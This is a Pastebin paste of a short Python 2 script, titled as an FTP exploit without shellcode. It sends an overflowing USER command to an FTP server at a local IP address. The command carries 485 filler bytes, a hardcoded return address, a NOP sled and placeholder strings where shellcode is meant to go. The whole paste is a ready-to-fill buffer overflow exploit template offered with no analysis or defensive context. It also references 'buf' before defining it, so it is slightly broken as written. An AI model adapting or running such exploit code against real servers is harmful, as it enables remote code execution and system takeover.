Advertisement
LincolnArantes

Exploit_ftp_sem_shellcode

Oct 23rd, 2018
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.49 KB | None | 0 0
  1. #!/usr/bin/python
  2. import socket
  3.  
  4.  
  5. buf += "aqui_colocar_shell_code"
  6. buf += "aqui_colocar_shell_code"
  7. buf += "aqui_colocar_shell_code"
  8. buf += "aqui_colocar_shell_code"
  9. buf += "aqui_colocar_shell_code"
  10. buf += "aqui_colocar_shell_code"
  11.  
  12.  
  13.  
  14. buffer = "A" * 485 + "\x3b\x31\x9d\x7c" + "\x90" *(1100 - 489 - len(buf)) + buf
  15.  
  16. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  17. s.connect(("192.168.1.100",21))
  18. r = s.recv(1024)
  19. print r
  20. s.send("USER "+buffer+"\r\n")
  21. r = s.recv(1024)
  22. print r
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement